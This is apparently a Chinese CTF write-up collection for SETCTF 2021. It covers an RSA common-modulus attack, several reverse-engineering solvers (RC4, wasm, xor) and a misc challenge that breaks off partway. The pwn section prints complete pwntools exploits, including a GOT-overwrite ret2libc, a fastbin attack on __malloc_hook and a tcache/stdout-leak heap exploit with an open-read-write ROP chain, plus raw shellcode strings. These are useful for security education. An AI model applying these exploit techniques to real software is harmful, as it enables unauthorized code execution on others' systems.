gmpy2.invert(c2, n) m = pow(c1,s1,n)*pow(c2,s2,n) % n flag = libnum.n2s(m) print(flag) 无法解出观察加密脚本,e1、e2不互素,即 e1*s1+e2*s2 = 2所以: c1^s1*c2^s2 = m^2所以上面的脚本对m进行开方即可得到flag 最终脚本为: from Crypto.PublicKey import RSA import libnum import gmpy2 n=122031686138696619599914690767764286094562842112088225311503826014006886039069083192974599712685027825111684852235230039182216245029714786480541087105081895339251403738703369399551593882931896392500832061070414483233029067117410952499655482160104027730462740497347212752269589526267504100262707367020244613503 c1=39449016403735405892343507200740098477581039605979603484774347714381635211925585924812727991400278031892391996192354880233130336052873275920425836986816735715003772614138146640312241166362203750473990403841789871473337067450727600486330723461100602952736232306602481565348834811292749547240619400084712149673 c2=43941404835820273964142098782061043522125350280729366116311943171108689108114444447295511969090107129530187119024651382804933594308335681000311125969011096172605146903018110328309963467134604392943061014968838406604211996322468276744714063735786505249416708394394169324315945145477883438003569372460172268277 e1 = 65536 e2 = 270270 s = gmpy2.gcdext(e1,e2) s1 = s[1] s2 = s[2] if s1<0: s1 = -s1 c1 = gmpy2.invert(c1, n) elif s2<0: s2 = -s2 c2 = gmpy2.invert(c2, n) m = pow(c1,s1,n)*pow(c2,s2,n) % n m = gmpy2.iroot(m,2) m = int(m[0]) flag = libnum.n2s(m) print(flag) SETCTF{now_you_master_common_mode_attack} Pwn1.bbbaby首先分析题目,有两个功能, 一个是可以对输入的地址指向进行edit, 另外一个是可以对v5进行任意size的输入。 于是很容易知道是需要通过v5溢出进行栈溢出攻击,但checksec后发现开了canary,又因为got表可改并且无PIE,所以可以把**_stack_chk_fail**的got表改为main,于是溢出V5打印puts地址后再次回到了main函数,然后再次改got表,通过改atoi_got为system,并传入/bin/sh参数,getshell checksec漏洞点任意地址写: main函数的栈溢出: #coding:utf-8from pwn import *context(arch='amd64',log_level='debug')#p=process('./pwn1')p=remote('node4.buuoj.cn',29985)elf=ELF('./pwn1')libc=ELF('./libc-2.23.so') def write8b(addr,content): p.sendlineafter('choice','0') p.sendlineafter('address:',str(addr)) p.sendafter('content:',content)def writeStack(content): p.sendlineafter('choice','1') p.sendlineafter('size:',str(len(content))) p.sendafter('content:',content) #gdb.attach(p)main=0x000000000040090B#write8b(elf.got['atoi'],p64(elf.plt['puts']))write8b(elf.got['__stack_chk_fail'],p64(elf.plt['puts'])) pop_rdi_ret=0x0000000000400a03pop_rsi_r15_ret=0x0000000000400a01payload ='A'*(0x110-8)payload+='\x00'*8payload+='B'*8payload+=p64(pop_rdi_ret)payload+=p64(elf.got['read'])payload+=p64(elf.plt['puts'])payload+=p64(main)writeStack(payload) p.sendlineafter('choice','2')libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['read']success('libc_base:'+hex(libc_base)) system=libc_base+libc.sym['system']sh=libc_base+libc.search('/bin/sh\x00').next()payload ='A'*(0x110-8)payload+='\x00'*8payload+='B'*8payload+=p64(pop_rdi_ret)payload+=p64(sh)payload+=p64(system)payload+=p64(main)writeStack(payload)p.sendlineafter('choice','2') p.interactive()#flag{cdc9b652-05e2-4cc9-b111-857e10d8e710} 或者from pwn import*context.log_level = "debug"io = remote("node4.buuoj.cn","27853")elf = ELF('./pwn1',checksec = 0)libc = ELF('./libc-2.23.so',checksec = 0)pop_rdi_ret = 0x400a03main_addr = 0x40090Bcanary_check = 0x601020atoi_got = 0x601040offset = 0x110 + 0x8def chocie(c): io.recvuntil("choice") io.sendline(str(c))def pwn(size,content): chocie(1) io.recvuntil(":") io.sendline(str(size)) io.recvuntil(":") io.send(content)def edit_addr(addr,content): chocie(0) io.recvuntil(":") io.sendline(addr) io.recvuntil(":") io.send(content)payload = p64(pop_rdi_ret) + p64(elf.got["puts"])payload += p64(elf.plt['puts']) + p64(main_addr)edit_addr(str(canary_check),p64(main_addr))pwn(0x150,b"a"*offset + payload)chocie(5)chocie(5)#leak_libc and get shellputs = u64(io.recvuntil('x7f')[-6:].ljust(8,b'x00'))libc_base =puts - libc.sym['puts']system = libc_base + libc.sym['system']edit_addr(str(atoi_got),p64(system))io.sendline(b'/bin/shx00')io.interactive() 2.Magic 接上gdb分析就是个模板题 有 UAF,直接 fastbin attack可以打过去。 leak_libc 部分 : 填充8个a printf 顺带 main_arena+88c出来 get_shell 部分 : 直接fastbin_attack 打malloc_hook checksec 给的libc版本为2.23 漏洞点UAF两处: # _*_ coding:utf-8 _*_ from pwn import * context.log_level = 'debug' context.terminal=['tmux', 'splitw', '-h'] prog = './Magic' #elf = ELF(prog)#nc 121.36.194.21 49155 # p = process(prog,env={"LD_PRELOAD":"./libc/libc-2.23.so"}) libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so") p = remote("node4.buuoj.cn", 25680)#nc 124.71.130.185 49155 def debug(addr,PIE=True): debug_str = "" if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) for i in addr: debug_str+='b *{}\n'.format(hex(text_base+i)) gdb.attach(p,debug_str) else: for i in addr: debug_str+='b *{}\n'.format(hex(i)) gdb.attach(p,debug_str) def dbg(): gdb.attach(p) #----------------------------------------------------------------------------------------- s = lambda data :p.send(str(data)) #in case that data is an int sa = lambda delim,data :p.sendafter(str(delim), str(data)) sl = lambda data :p.sendline(str(data)) sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) it = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) bp = lambda bkp :pdbg.bp(bkp) li = lambda str1,data1 :log.success(str1+'========>'+hex(data1)) def dbgc(addr): gdb.attach(p,"b*" + hex(addr) +"\n c") def lg(s,addr): print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05" #https://www.exploit-db.com/shellcodes #----------------------------------------------------------------------------------------- def choice(idx): sla("Input your choice: ",str(idx)+'\n\n') # sla("Input your choice: ",str(idx)) def add(idx): choice(1) sa("Input the idx",str(idx)+'\x00\x00\x00') # sl('\n\n') # sla("Size: ",sz) # sa("content?",cno) def delete(idx): choice(3) sa("Input the idx",str(idx)+'\x00\x00\x00') # sl('\n\n') # def show(idx): # choice(3) # sla("Index: ",idx) def edit(idx,con): choice(2) sa("Input the idx",str(idx)+'\x00\x00\x00') # sl('\n') # sla("size?",sz) sa("Input the Magic",con) def exp(): # debug([0x13aa]) add(0) edit(0,'a'*8) # delete(0) ru('a'*8) data = uu64(r(6)) lg('data',data) addr = data - 0x7fe66967cd98 + 0x7fe6692b8000 mh = addr + libc.sym['__malloc_hook'] rh = addr + libc.sym['realloc'] lg('addr',addr) one = addr + 0x4527a #----------------------------- delete(0) edit(0,p64(mh-0x23)) add(0) add(1) lg('rh',rh) edit(1,(0x13-8)*'a'+p64(one)+p64(rh+13)) # dbg() add(0) it() if __name__ == '__main__': exp() 或者 from pwn import * context.log_level = "debug" io = remote("node4.buuoj.cn",27312) elf = ELF("./Magic",checksec = 0) libc = ELF('libc-2.23.so',checksec = 0) one = [0x45226,0x4527a,0xf03a4,0xf1247] main_arena = 0x3c4b20 def fuck(index): io.recvuntil("Input your choice: ") io.sendline(str(index)) io.sendline('0') def add(index): fuck(1) io.sendline(str(index)) io.sendline('0') def edit(index,content): fuck(2) io.recvuntil("Input the idx") io.sendline(str(index)) io.sendline('0') io.recvuntil("Input the Magic") io.send(content) def delete(index): fuck(3) io.recvuntil("Input the idx") io.sendline(str(index)) io.sendline('0') #leak_libc add(0) add(1) edit(0,b"a"*8) libc_base = u64(io.recvuntil('x7f')[-6:].ljust(8,b'x00')) - 0x3c4d98 realloc = libc_base + libc.sym['realloc'] malloc_hook = libc_base + libc.sym['__malloc_hook'] free_hook = libc_base + libc.sym["__free_hook"] success("malloc_hook"+hex(malloc_hook)) one_gadget = one[3] + libc_base #fuck the malloc_hook and libc_realloc delete(1) delete(0) edit(0,p64(malloc_hook - 0x23)) add(0) add(1) payload = b'x00'*11+p64(one_gadget)+p64(realloc+0x10) edit(1,payload) delete(0) delete(0) io.interactive() 3.h3apclass首先分析题目,经典菜单题,不过没有show libc2.31 漏洞点在edit中,因为使用的是strlen,因此造成溢出。 leak_libc 部分: 通过溢出更改chunk的size为0x430直接进入unsorted bin 然后再不断申请切割该unsorted bin 以达到unsorted bin 与 tcache重叠的效果,最后爆破一位 1/16 出stdout leak出libc get_flag 部分 :一开始用setcontext写的,但一直没有成。 后面想用environ泄露出栈地址,但因为没有show失败, 后来想到这个是题黑名单,只是禁用了execve。于是改free_hook为printf地址,然后给printf传入%15$p 泄露出栈上的地址,得到add函数的返回地址。 最后直接把orw链打入add的ret地址处,打印出flag。 checksec 保护全开,然后google了一下,libc版本为2.31-0ubuntu9.2_amd64。 漏洞点 exp : from pwn import* context.log_level = "debug" io = process("./H3apClass") #io = remote("node4.buuoj.cn","28143") libc = ELF("./libc.so.6",checksec = 0) def fuck(choice): io.sendlineafter("4:Drop homeworkn",str(choice)) def add(index,size,content): fuck(1) io.sendlineafter("Which homework?n",str(index)) io.sendlineafter("size:n",str(size)) io.sendlineafter("content:n",content) def Add(index,size,content): fuck(1) io.sendlineafter("Which homework?n",str(index)) io.sendlineafter("size:n",str(size)) io.sendafter("content:n",content) def edit(index,content): fuck(3) io.sendlineafter("Which homework?n",str(index)) io.sendafter("content:n",content) def delete(index): fuck(4) io.sendlineafter("Which homework?n",str(index)) def look(): global io gdb.attach(io) """ def pwn(): #gdb.attach(io) add(0,0x18,b"0"*0x18) add(1,0xf8,b"1"*0xf8) add(2,0xf8,b"2"*0xf8) add(3,0xf8,b"3"*0xf8) add(4,0xf8,b"4"*0xf8) add(5,0x28,b"a"*0x28) add(6,0xf8,b"5"*0xf8) edit(5,b"a"*0x20 + p64(0x430) + p64(0x100)) edit(0,b"a"*0x10 + p64(0) + p64(0x430)) delete(6) look() pwn() """ def pwn(): #gdb.attach(io) add(0,0x18,b"a"*0x18) add(1,0xf8,b"wangwang1") add(2,0xf8,b"wangwang2") add(3,0xf8,b"wangwang2") add(4,0xf8,b"wangwang2") add(5,0x28,"fuck_libc") delete(4) add(4,0x18,"eeeenb") add(6,0x28,p64(0)+p64(0x21)) edit(0,b"a"*0x10+p64(0)+b"x51x04") delete(0) delete(1) for i in range(2,5): delete(i) for i in range(2,5): add(i,0xe8,"a") for i in range(2,5): delete(i) delete(6) delete(5) add(2,0xd8,"2") add(3,0x48,b"3") Add(4,0x38,b"xa0x36") delete(2) delete(3) #pause() add(2,0x28,"0") paylaod = p64(0xfbad1887)+p64(0)*3+b"x58" add(3,0x28,paylaod) libc_base = u64(io.recvuntil("x7f",timeout=0.1)[-6:].ljust(8,b'x00'))-0x1ed4a0 # _IO_2_1_stderr_+216 store _IO_file_jumps if libc_base == -0x1ed4a0: exit(-1) libc_base = libc_base - 0x7fcee3001afc + 0x7fcee3037000 success("libc_base:"+hex(libc_base)) free_hook = libc_base + libc.sym["__free_hook"] system = libc_base + libc.sym["system"] printf = libc_base + libc.sym["printf"] environ = libc_base + libc.sym["environ"] setcontext = libc_base + libc.sym["setcontext"] read = libc_base + libc.sym["read"] write = libc_base + libc.sym["write"] open = libc_base + libc.sym["open"] pop_rdi_ret = libc_base + 0x26b72 pop_rdx_r12 = libc_base + 0x11c371 pop_rsi_ret = libc_base +0x27529 pop_rax_ret = libc_base + 0x4a550 syscall_ret = read + 0xf ret = libc_base + 0x25679 success("free_hook:"+hex(free_hook)) #look() delete(4) add(4,0x40,b"a"*0x40) edit(4,p64(0)*5+p64(0x21)+p64(free_hook)) add(0,0x18,b"%15$p") add(6,0x18,p64(printf)+b"flag"+b"x00"*4) delete(0) info = int(io.recv(14),16) success("stack_addr:"+hex(info)) #the_main_ret add_ret = info - 0x7ffd26ceb5e8 + 0x7ffd26ceb4d8 success("add_ret:"+hex(add_ret)) add(0,0xe0,p64(0)*4 + p64(add_ret)) delete(0) delete(4) add(0,0xf8,b"0") flag_addr = free_hook + 0x8 orw = p64(pop_rdi_ret) + p64(flag_addr) orw += p64(pop_rsi_ret) + p64(0) #The open arg2 = 0 -> only read #orw += p64(pop_rax_ret) + p64(2) #orw += p64(syscall_ret) orw += p64(open) orw += p64(pop_rdi_ret) + p64(3) orw += p64(pop_rsi_ret) + p64(flag_addr+0x8) orw += p64(pop_rdx_r12) + p64(0x40) + p64(0) orw += p64(read) orw += p64(pop_rdi_ret) + p64(1); orw += p64(write) add(4,0xf8,orw) io.recvuntil("flag") sleep(100) io.interactive() while True: try : #io = process("./H3apClass") io = remote("node4.buuoj.cn","29896") pwn() except: io.close continue 或者#!/usr/bin/python3from pwncli import * cli_script() p:tube = gift['io']elf:ELF = gift['elf']libc: ELF = gift['libc'] context.update(timeout=3) def add(idx, size, data="deadbeef"): p.sendlineafter("4:Drop homework\n", "1") p.sendlineafter("Which homework?\n", str(idx)) p.sendlineafter("size:\n", str(size)) p.sendafter("content:\n", data) def edit(idx, data): p.sendlineafter("4:Drop homework\n", "3") p.sendlineafter("Which homework?\n", str(idx)) p.sendafter("content:\n", data) def dele(idx): p.sendlineafter("4:Drop homework\n", "4") p.sendlineafter("Which homework?\n", str(idx)) cat_flag = asm(shellcraft.amd64.linux.cat("/flag")) # forge 0x500 chunkadd(0, 0x18, 0x18*"a")add(1, 0xf8)add(2, 0xf8)add(3, 0xf8)add(4, 0xf8)add(5, 0xf8)add(6, 0x18) # free spacedele(6)dele(5)dele(4)dele(3)dele(2) # chaneg sizeedit(0, 0x18*"a" + "\x01\x05")dele(1) # consume 0x100add(1, 0x70)add(2, 0x70) log_ex(f"Now try to attack stdout...") if gift['debug']: payload = p16_ex(get_current_libcbase_addr() + libc.sym['_IO_2_1_stdout_'])else: payload = p16_ex(0x86a0) add(3, 0x70, payload) # free spacedele(1)dele(2) add(1, 0xf8) # leak libc addradd(2, 0xf8, flat([ 0xfffffbad1887, 0, 0, 0, "\x00"])) libc_base = recv_libc_addr(p) - 0x1eb980log_libc_base_addr(libc_base)libc.address = libc_base dele(1)dele(0) # leak heap addredit(3, p64(libc.sym['_IO_2_1_stdout_'])[:6])add(0, 0x70)add(1, 0x70, flat([ 0xfbad1887, 0, 0, 0, libc.sym['__curbrk']-8,libc.sym['__curbrk']+8])) m = p.recvn(16)heap_base = u64_ex(m[8:]) - 0x21000log_heap_base_addr(heap_base) dele(0)# change __free_hook# 0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];edit(3, p64(libc.sym['__free_hook'])[:6])add(0, 0x70, cat_flag)add(4, 0x70, p64_ex(0x0000000000154930 + libc_base)) # read flagcur_heap = heap_base + 0x1450 payload = flat({ 8: cur_heap, 0x20: libc.sym['setcontext']+61, 0x30: heap_base + 0x13d0, 0xa0: cur_heap+0x30, # rsp 0xa8: libc.sym['mprotect'], 0x68: heap_base, 0x70: 0x4000, 0x88: 7}) add(5, 0xe8, payload) dele(5) m = p.recvline_contains("flag") if b"flag" in m: log_ex_highlight(f"Get flag: {m}") sleep(20) p.close() Reverse1.EasyRe 下载附件,是一个32位的exe可执行程序。 用ida打开,直接shift+F12进行字符串查找即可,并查看字符串 发现一个奇怪的字符串, 尝试提交 发现就是flag: flag{fc5e038d38a57032085441e7fe7010b0} 2.findme 解题思路main函数里面F5,核心逻辑在off_403844puts("Please input your flag:"); scanf("%s", Str); if ( sub_401610(Str) ) { if ( off_403844("SETCTF2021", Str) ) printf("Success!"); else printf("Wrong!"); } 进去off_403844,竟然指向strcmp,很明显有问题,输入是长度26比对字符串不足26交叉引用off_403844,找到真正的比对函数int __cdecl sub_401866(char *key, char *input) { //... for ( i = 0; ; ++i ) { v2 = i; if ( v2 >= strlen(key) ) break; v7[i] = key[i]; } memset(v6, 0, sizeof(v6)); for ( j = 0; ; ++j ) { v3 = j; if ( v3 >= strlen(input) ) break; v6[j] = input[j]; } v10 = strlen(v6); v4 = strlen(v7); rc4_init(v9, v7, v4); for ( k = 0; k <= 255; ++k ) v8[k] = v9[k]; rc4_crypt(v8, v6, v10); for ( l = 0; l <= 511; ++l ) { if ( v6[l] != dword_403040[l] ) return 0; } return 1; } 拿到题目直接丢IDA的时候看到如下伪代码 sub_401610是判断是否长度为26 但是怪就怪在这个off_403844函数,我点进去之后看到是strcmp 搞得我一直以为off_403844就是strcmp函数 直到我翻到了这个 于是乎就用OD跑了一遍 eax的值确实是401866,而该地址上面是一个函数栈帧,回到IDA伪代码查看 点看Sub_40164C就可以看出是一个RC4算法 最后与对应的密文比较 403040的值是 最后的解密过程,先通过调试获取26个0的异或结果,再编写如下脚本 s=[ 0xD4, 0x27, 0xE1, 0xB2, 0xF4, 0x9F, 0x4C, 0xDC, 0xBC, 0x1B, 0x80, 0xD2, 0x44, 0x8B, 0xEA, 0x33, 0x02, 0x4E, 0x41, 0xEB, 0x8D, 0x23, 0x6F, 0xBC, 0x00, 0x8B] d='00000000000000000000000000' a=[0xFFFFFFB7, 0x00000052, 0xFFFFFF85, 0xFFFFFFC1, 0xFFFFFF90, 0xFFFFFFE9, 0x00000007, 0xFFFFFFB8, 0xFFFFFFE4, 0x0000001A, 0xFFFFFFC3, 0xFFFFFFBD, 0x0000001D, 0xFFFFFF8E, 0xFFFFFF85, 0x00000046, 0x00000000, 0x00000021, 0x00000044, 0xFFFFFFAF, 0xFFFFFFEF, 0x00000070, 0x00000032, 0xFFFFFFB5, 0x00000011, 0xFFFFFFC6] for i in range(len(a)): print((chr(s[i]^ord(d[i])^(a[i]&0xff))),end='') #SETCTF{Th1s_i5_E2_5tRcm9!} 或者就是个rc4,解题脚本 #include <stdio.h> #include "defs.h" // #include <iostream> #include <inttypes.h> void rc4_init(unsigned char *s, unsigned char *key, unsigned long Len) //初始化函数 { int i =0, j = 0; char k[256] = {0}; unsigned char tmp = 0; for (i=0;i<256;i++) { s[i] = i; k[i] = key[i%Len]; } for (i=0; i<256; i++) { j=(j+s[i]+k[i])%256; tmp = s[i]; s[i] = s[j]; //交换s[i]和s[j] s[j] = tmp; } } void rc4_crypt(unsigned char *s, unsigned char *Data, unsigned long Len) //加解密 { int i = 0, j = 0, t = 0; unsigned long k = 0; unsigned char tmp; for(k=0;k<Len;k++) { i=(i+1)%256; j=(j+s[i])%256; tmp = s[i]; s[i] = s[j]; //交换s[x]和s[y] s[j] = tmp; t=(s[i]+s[j])%256; Data[k] ^= s[t]; } } int main(){ uint8_t k[]="SETCTF2021"; uint8_t s[256]; uint8_t t[512]; uint32_t target[]={4294967223, 82, 4294967173, 4294967233, 4294967184, 4294967273, 7, 4294967224, 4294967268, 26, 4294967235, 4294967229, 29, 4294967182, 4294967173, 70, 0, 33, 68, 4294967215, 4294967279, 112, 50, 4294967221, 17, 4294967238, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; for(size_t i=0;i<sizeof(target)/4;i++){ t[i]=target[i]; } rc4_init(s,k,sizeof(k)-1); rc4_crypt(s,t,512); printf("%s\n",t); }#SETCTF{Th1s_i5_E2_5tRcm9!} 3.Eat_something这题非常有趣,是一道wasm的基础逆向题目。 拿到题目后发现页面有一个输入框,任意输入之后点击按钮会提示错误,右键查看源代码可以看到如下JS: <script> Module.onRuntimeInitialized = function (){ checkright = Module.cwrap('checkright', 'string', ['string']) } function nice(){ var inpObj = document.getElementById("id1"); document.write(checkright(inpObj.value)) if(checkright(inpObj.value) === "You are right!"){ document.write(inpObj.value) } } <script> 这里调用了Module.cwrap加载了C函数checkright,f12打开Source查看源代码就可以看到有一个.wasm结尾的文件 将该文件下载下来后 这里使用wabt工具:https://github.com/WebAssembly/wabt 然后使用里面的wasm2c将wasm文件转换成c文件 wasm2c.exe Eat_something.wasm -o Eat_something.c 之后会在当前目录中生成Eatsomething.c和Eatsomething.h 这时候如果直接阅读源码是非常难受的,还需要用gcc将其编译成二进制文件再拖到IDA中分析 这里可以看到是将异或后的值与常量池中的比较,而常量datasegmentdata0打开Eatsomething.c就可以看到,其中与运算0xff其实就是对256取余,这里注释写错了。 static const u8 data_segment_data_0[] = { 0x86, 0x8b, 0xaa, 0x85, 0xac, 0x89, 0xf0, 0xaf, 0xd8, 0x69, 0xd6, 0xdd, 0xb2, 0xbf, 0x6e, 0xe5, 0xae, 0x99, 0xcc, 0xd5, 0xbc, 0x8b, 0xf2, 0x7d, 0x7a, 0xe3, 0x59, 0x6f, 0x75, 0x20, 0x61, 0x72, 0x65, 0x20, 0x72, 0x69, 0x67, 0x68, 0x74, 0x21, 0x00, 0x59, 0x6f, 0x75, 0x20, 0x61, 0x72, 0x65, 0x20, 0x77, 0x72, 0x6f, 0x6e, 0x67, 0x21, 0x00, }; poc的逻辑就是遍历这些数组的元素,然后异或再除2就可得到flag的串了 data_segment_data_0 = [ 0x86, 0x8b, 0xaa, 0x85, 0xac, 0x89, 0xf0, 0xaf, 0xd8, 0x69, 0xd6, 0xdd, 0xb2, 0xbf, 0x6e, 0xe5, 0xae, 0x99, 0xcc, 0xd5, 0xbc, 0x8b, 0xf2, 0x7d, 0x7a, 0xe3, 0x59, 0x6f, 0x75, 0x20, 0x61, 0x72, 0x65, 0x20, 0x72, 0x69, 0x67, 0x68, 0x74, 0x21, 0x00, 0x59, 0x6f, 0x75, 0x20, 0x61, 0x72, 0x65, 0x20, 0x77, 0x72, 0x6f, 0x6e, 0x67, 0x21, 0x00 ] flag = '' for i in range(len(data_segment_data_0)): flag += chr((i ^ data_segment_data_0[i]) / 2) print(flag) #CETCTF{Th0nk_Y0u_DocTOr51} 4.power记事本打开瞅一波 有很多含有aes的字符串,继续往下 发现个this_is_a_key!!! 这下aes应该跑不脱了,直接网站解密即可 flag为: flag{y0u_found_the_aes_12113112} 5. EasyRE_Revengemain函数长得和第一题 EasyRe 一样,很遗憾不是白给:`那个加密函数也是有问题,一堆的花指令,根本没法看,动调吧:开始一串连跑带跳的,初始化了一个数组:再往后到这里是第一轮加密: 没别的,就是异或。再往后就是另一轮加密,后面说,把这两轮加密的硬编码直接dump下来,扔到IDA里面:虽然看着还是难受,但逻辑好歹是出来了,整理了一下:char flag[] = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";DWORD key[] = { 0x271E150C, 0x3B322920, 0x5F564D44, 0x736A6158, 0x978E857C, 0xABA29990, 0xCFC6BDB4, 0xE3DAD1C8 };DWORD v5[10]{0};for (i = 0; i < 8; i++) { v5[i] = *(DWORD*)(flag+i*4) ^ key[(7 * i + 2) % 8]; }for (i = 0; i < 8; i++) { v5[i] ^= v5[i] << 7; v5[i] ^= key[(7 * i + 3) % 8]; v5[i] ^= v5[(5 * i + 3) % 8]; v5[i] ^= v5[i] << 13; v5[i] ^= key[(7 * i + 5) % 8]; v5[i] ^= v5[i] << 17; } EXP: DWORD key[] = { 0x271E150C, 0x3B322920, 0x5F564D44, 0x736A6158, 0x978E857C, 0xABA29990, 0xCFC6BDB4, 0xE3DAD1C8 };BYTE v6[] = { 0x42,0xb0,0xe8,0xee,0x6c,0xee,0xd0,0x57,0x32,0x4b,0xf5,0xf3,0xd6,0xb7,0xf0,0xd3,0x89,0xc3,0x61,0x0a,0x40,0xba,0xc7,0x38,0x2c,0x9e,0x3d,0x0c,0x84,0x92,0x4a,0xd6,0x00};int i = 0;DWORD* v5 = (DWORD*)v6;DWORD xx, yy = 0;for (i = 7; i >= 0; i--) { v5[i] ^= (v5[i] & 0b111111111111111) << 17; v5[i] ^= key[(7 * i + 5) % 8]; xx = v5[i] & 0b1111111111111; // 后 13 位 v5[i] ^= xx << 13; // 修复 6 - 19 位 xx = (v5[i] & 0b1111110000000000000) << 13; v5[i] ^= xx; v5[i] ^= v5[(5 * i + 3) % 8]; v5[i] ^= key[(7 * i + 3) % 8]; yy = v5[i] & 0b1111111; // 获取 25 - 32 位 v5[i] ^= yy << 7; // 修复 18 - 25 位 yy = v5[i] & 0b11111110000000; // 后 7 位 v5[i] ^= yy << 7; // 修复 11 - 18 位 yy = v5[i] & 0b111111100000000000000; v5[i] ^= yy << 7; // 修复 4 - 11 位 yy = ((v5[i] << 7) & 0xFFFFFFFF) & 0b11110000000000000000000000000000; v5[i] ^= yy; // 修复 4 - 11 位 }for (i = 0; i < 8; i++) { *(DWORD*)(v6 + i * 4) ^= key[(7 * i + 2) % 8]; }printf("%s\n", (char*)v5); FLAG : flag{bd6a64f17bb3dc065b41a0aad1e48e98} 6、O打开 run.log ,在其中发现一些比较可疑的长整型数:试着将其转为hex: 有Unicode字符串那味了。全部提取出来看看:V@QFQC~=a<<5dd==5<121c63<4c260`706cafd`x回 log 里面翻了一下,有这个 XorI,应该是异或,然后试着简单爆破一下 import binascii xxx = [19703596266291286, 17170514749620305, 14918431467634785, 17170235578908772, 14073959292862517, 14355455746965553, 14074174040703036, 15481536039092278, 27303497946234928, 33777409528692838]xx = ""for i in xxx: temp = hex(i)[2:].replace("00", "") xx = xx + temp[6:8] + temp[4:6] + temp[2:4] + temp[0:2]print() xx = binascii.a2b_hex(xx) for i in range(1, 256): for j in xx: print(chr(j ^ i), end="") print() FLAG: SETCTF{8d990aa8809474f3691f735e253fdcae}MISC1.soEasyCheckin 下载附件得到一串base编码,但是直接解开会乱码,仔细观察发现其中夹杂着一个$符号 于是尝试去解前半部分的base,发现是base32 e5b9b3e7ad89e5928ce8b090e887aae794b1e5b9b3e7ad89e5b9b3e7ad89e887aae794b1e6b395e6b2bbe58f8be59684e5b9b3e7ad89e5b9b3e7ad89e6b091e4b8bbe585ace6ada3e695ace4b89ae5928ce8b090e69687e6988ee5b9b3e7ad89e788b1e59bbde585ace6ada3e695ace4b89ae585ace6ada3e8af9ae4bfa1e887aae794b1e5928ce8b090e6b091e4b8bbe5b9b3e7ad89e788b1e59bbde585ace6ada3e695ace4b89ae585ace6ada3e5b9b3e7ad89e5928ce8b090e69687e6988ee887aae794b1e58f8be59684e585ace6ada3e585ace6ada3e695ace4b89ae5928ce8b090e887aae794b1e69687e6988ee58f8be59684e6b395e6b2bbe887aae794b1e58f8be59684e585ace6ada3e585ace6ada3e58f8be59684e695ace4b89ae585ace6ada3e8af9ae4bfa1e887aae794b1e585ace6ada3e6b395e6b2bbe5928ce8b090e5928ce8b090e5b9b3e7ad89e695ace4b89ae6b395e6b2bbe5b9b3e7ad89e585ace6ada3e6b091e4b8bbe585ace6ada3e8af9ae4bfa1e887aae794b1e5928ce8b090e69688 hex解码得到: 